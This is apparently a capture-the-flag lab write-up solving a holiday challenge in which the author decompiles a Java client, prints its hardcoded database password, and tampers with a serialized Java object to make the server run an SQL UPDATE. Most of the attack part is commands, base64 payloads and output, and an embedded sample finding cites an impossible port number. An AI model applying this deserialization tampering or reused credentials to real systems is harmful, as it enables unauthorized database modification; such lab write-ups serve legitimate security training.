Skip to content

Missile Diversion⚓︎

Difficulty:
Direct link: Objective URL

Objective⚓︎

Wombley Cube

Thwart Jack's evil plan by re-aiming his missile at the Sun.

Wombley Cube

A fellow sabateur, are you? Or just a misguided hero-wannabe?
You think you're saving the holiday season, but you're meddling in something you could never understand!
Yes, I sided with Jack, because Santa's betrayed the elves by forcing us to move our operations to these islands!
He put the entire holiday season at risk, and I could not allow this, I had to do something.
Knowing my skillset, Jack secretly informed me of his plan to show Santa the error of his ways, and recruited me to aid his mission.
Why tell you all this? Because it won't change anything. Everything is already in motion, and you're too late.
Plus, the satellite is state-of-the-art, and -- oh drat, did I leave the admin tools open?
For some reason, I can't move when you're nearby, but if I could, I would surely stop you!

Hints⚓︎

Always Lock Your Computer

Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.

Reportinator: SQL Injection Vulnerability in Java Application

Finding: SCS analysts identified a vulnerability within an externally-accessible Java application on IP address 10.136.194.88. SCS evaluated this application with the ysoserial tool and Burp Suite to manually evaluate the application for typical Java vulnerabilities. As shown in Listing 1, we discovered the application uses Java's native serialization to store and retrieve objects from the AppData database table. This method is insecure. By intercepting HTTP request traffic on 88555/TCP, malicious actors can exploit this vulnerability by crafting and submitting specially serialized objects that can lead to remote code execution upon deserialization. Exploitation of this vulnerability could enable an attacker to execute arbitrary code on the application server and create a reverse shell, delete files, or access sensitive data. This vulnerability is classified as CWE-502: Deserialization of Untrusted Data

Solution⚓︎

This is a follow-up objective to Camera Access. We are using same Satelite ground station system to interact with. We need to redirect missle from EARTH to SUN.

First attempt was to try to decompile Java application found inside nmf-client "missile-targeting-system-2.1.0-SNAPSHOT.jar" During RE process using Java Decompiler and after swift code review we found interesting line:

DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system", "targeter", "cu3xmzp9tzpi00bdqvxq");

Let's try connecting to DB after connecting WireGuard directly from host.

mysql -u targeter -p -h 10.0.0.1 -P 3306 missile_targeting_system
OUTPUT

mysql> show tables;
+------------------------------------+
| Tables_in_missile_targeting_system |
+------------------------------------+
| messaging                          |
| pointing_mode                      |
| pointing_mode_to_str               |
| satellite_query                    |
| target_coordinates                 |
+------------------------------------+
5 rows in set (0.14 sec)
Let's look into satellite_query tabkle:

mysql> select * from satellite_query
OUTPUT
| jid | object | results
|   1 | �� sr SatelliteQueryFileFolderUtility������ Z isQueryZisUpdateL pathOrStatementt Ljava/lang/String;xp  t )/opt/SatelliteQueryFileFolderUtility.java         | import java.io.Serializable; <CODE REMOVED>

ChatGPT

PROMPT Analyze code using ChatGPT

This Java class, SatelliteQueryFileFolderUtility, appears to be a utility for handling either SQL queries/updates or file system operations based on the provided inputs. The key features and functionality are as follows:

Dual Functionality: It can interact with a database or perform file system operations, determined by the isQuery and isUpdate flags.

Database Operations:

Query Execution: If isQuery is true and isUpdate is false, it executes a SQL query using the provided Connection object and returns the result in JSON format.
Update Execution: If isQuery is true and isUpdate is also true, it executes a SQL update statement.
File System Operations:

Directory Listing: If the provided path is a directory, it lists the immediate contents of the directory.
File Reading: If the provided path is a file, it reads and returns the content of the file.
Error Handling: It includes basic error handling for both SQL and file system operations.

Serialization: The class implements Serializable, which suggests it can be used in contexts where Java serialization is required (e.g., sending the object over a network or storing it for later use).

Dependency on Gson: For converting database query results to JSON, it uses the Gson library.

Path or SQL Statement: The pathOrStatement variable serves dual purposes – it can either be a file system path or a SQL statement, depending on the operation mode.

Robustness and Security Considerations:

SQL Injection: The class uses PreparedStatement, which is good for preventing SQL injection.
File System Security: There are basic checks for path existence and type (file or directory), but additional security measures (like access permissions) might be needed depending on the use case.
Exception Handling: The method handles SQLException and IOException but returns the exception's message as a string. For robust applications, more sophisticated error handling and logging might be required.
Flexibility and Extension: The class is quite specific in its current form but could be extended or modified to handle a wider range of database and file system operations.

Overall, this utility class offers a convenient way to perform either database operations or file system interactions based on the provided parameters, showcasing a flexible approach to handling different types of operations in a unified manner.

Let's try to fetch this object

SELECT TO_BASE64(object) FROM satellite_query WHERE jid=1

OUTPUT:

mysql> SELECT TO_BASE64(object) FROM satellite_query WHERE jid=1
    -> ;
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| TO_BASE64(object)
                                                                                                 |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1
ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAA
dAApL29wdC9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5LmphdmE= |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.31 sec)
ChatGPT
Decode
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAdAApL29wdC9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5LmphdmE=

OUTPUT

The provided string appears to be a serialized Java object. To decode it, we need to deserialize it using Java's built-in serialization mechanism. This process involves converting the serialized binary data back into a Java object. The string looks like it has been encoded in Base64, which is commonly used to encode binary data as text.
Here's a general approach on how to deserialize this data in Java:
Decode the Base64 String: The string needs to be decoded from Base64 to get the original serialized binary data.
Deserialize the Object: Use Java's ObjectInputStream along with a ByteArrayInputStream to read the binary data and deserialize it back into the original Java object.

Now let's try to use DUMPER to decode serialized object,

https://github.com/NickstaDB/SerializationDumper

First let's decode base64 string to serialized object using python and ask chatGPT to create script for Decoding it.

ChatGPT

PROMPT: python script to decode this serialized object from base64

import base64

# The serialized Java object in Base64 format
serialized_base64 = "rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAdAApL29wdC9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5LmphdmE="

# Decode the Base64 string
decoded_data = base64.b64decode(serialized_base64)

# Optionally, save the binary data to a file
with open("decoded_data.bin", "wb") as file:
    file.write(decoded_data)
print("The binary data has been decoded and saved as 'decoded_data.bin'.")

Here we have our serialization object

slingshot@slingshot:~/code/SerializationDumper$ java -jar SerializationDumper.jar -r decoded_data.bin

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 31 - 0x00 1f
        Value - SatelliteQueryFileFolderUtility - 0x536174656c6c697465517565727946696c65466f6c6465725574696c697479
      serialVersionUID - 0x12 d4 f6 8d 0e b3 92 cb
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 3 - 0x00 03
      Fields
        0:
          Boolean - Z - 0x5a
          fieldName
            Length - 7 - 0x00 07
            Value - isQuery - 0x69735175657279
        1:
          Boolean - Z - 0x5a
          fieldName
            Length - 8 - 0x00 08
            Value - isUpdate - 0x6973557064617465
        2:
          Object - L - 0x4c
          fieldName
            Length - 15 - 0x00 0f
            Value - pathOrStatement - 0x706174684f7253746174656d656e74
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      SatelliteQueryFileFolderUtility
        values
          isQuery
            (boolean)false - 0x00
          isUpdate
            (boolean)false - 0x00
          pathOrStatement
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 41 - 0x00 29
                Value - /opt/SatelliteQueryFileFolderUtility.java - 0x2f6f70742f536174656c6c697465517565727946696c65466f6c6465725574696c6974792e6a617661
Let's analyze code:

ChatGPT

PROMPT: analyze code

The provided code is an analysis of a serialized Java object, specifically detailing its structure according to the Java serialization protocol. Here's a breakdown of the key components in the serialized data:

  1. Stream Magic and Version:
  2. STREAM_MAGIC (0xac ed): This is a header that identifies the data as serialized object data.
  3. STREAM_VERSION (0x00 05): Specifies the version of the serialization protocol.

  4. Object Content:

  5. TC_OBJECT (0x73): Indicates the start of an object.

  6. Class Description:

  7. TC_CLASSDESC (0x72): Indicates the start of a class description.
  8. className: The name of the class is SatelliteQueryFileFolderUtility.
  9. serialVersionUID (0x12 d4 f6 8d 0e b3 92 cb): Unique version identifier for the SatelliteQueryFileFolderUtility class.
  10. newHandle (0x00 7e 00 00): A handle for the class description for reference.
  11. classDescFlags (0x02): Indicates that the class implements Serializable.
  12. fieldCount (3 - 0x00 03): Number of fields in the class.

  13. Fields of the Class:

  14. Three fields are detailed:

    1. isQuery (Boolean - 0x5a): A boolean field.
    2. isUpdate (Boolean - 0x5a): Another boolean field.
    3. pathOrStatement (Object - 0x4c): An object field, specifically a String.
  15. Class Annotations and SuperClass:

  16. TC_ENDBLOCKDATA (0x78): Marks the end of class annotations.
  17. TC_NULL (0x70): Indicates that there is no superclass.

  18. Object Data (Values of the Fields):

  19. The values for each of the fields in the SatelliteQueryFileFolderUtility object are provided.
    • isQuery: false
    • isUpdate: false
    • pathOrStatement: A String with the value "/opt/SatelliteQueryFileFolderUtility.java".

This analysis is typical of what you would see when examining the binary data of a serialized Java object. It outlines the class information, including its name, serial version UID, and the fields along with their types and values. This data is crucial for Java deserialization, as it tells the Java Virtual Machine how to reconstruct the object.

We need to modify it so we can update database to point missle into SUN

    classdata
      SatelliteQueryFileFolderUtility
        values
          isQuery
            (boolean)false - 0x01
          isUpdate
            (boolean)false - 0x01
          pathOrStatement
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 57 - 0x00 39
                Value - UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1; - 0x550x500x440x410x540x450x200x700x6f0x690x6e0x740x690x6e0x670x5f0x6d0x6f0x640x650x200x530x450x540x200x6e0x750x6d0x650x720x690x630x610x6c0x5f0x6d0x6f0x640x650x200x3d0x200x310x200x570x480x450x520x450x200x690x640x200x3d0x200x310x3b
After modification let's rebuild our stream.

java -jar SerializationDumper-v1.13.jar -b decoded_data.bin rebuilt.bin

Rebuilding serialization stream from dump: decoded_data.bin
Stream rebuilt, attempting to parse...
Done, rebuilt stream written to test2.bin

strings rebuilt.bin
SatelliteQueryFileFolderUtility
isQueryZ
isUpdateL
pathOrStatementt
Ljava/lang/String;xp
9UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1;

Let's encode our data:

root@slingshot:/home/slingshot/Desktop# cat rebuilt.bin | base64
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1
ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEB
dAA5VVBEQVRFIHBvaW50aW5nX21vZGUgU0VUIG51bWVyaWNhbF9tb2RlID0gMSBXSEVSRSBpZCA9
IDE7

and update DB

INSERT INTO satellite_query (object) VALUES (FROM_BASE64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAA5VVBEQVRFIHBvaW50aW5nX21vZGUgU0VUIG51bWVyaWNhbF9tb2RlID0gMSBXSEVSRSBpZCA9IDE7'));
We can see update completed:

| 2 | �� sr SatelliteQueryFileFolderUtility������ Z isQueryZisUpdateL pathOrStatementt Ljava/lang/String;xpt 9UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1; | SQL Update completed.

Win!

Escape

Answer

SQL Update completed.

Response⚓︎

Wombley Cube

A... missile... aimed for Santa's sleigh? I had no idea...
I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics! Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions. But my mission to ensure Santa never again compromises the holidays is still in progress. It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest. Don't worry, I'll meet you there... trust me.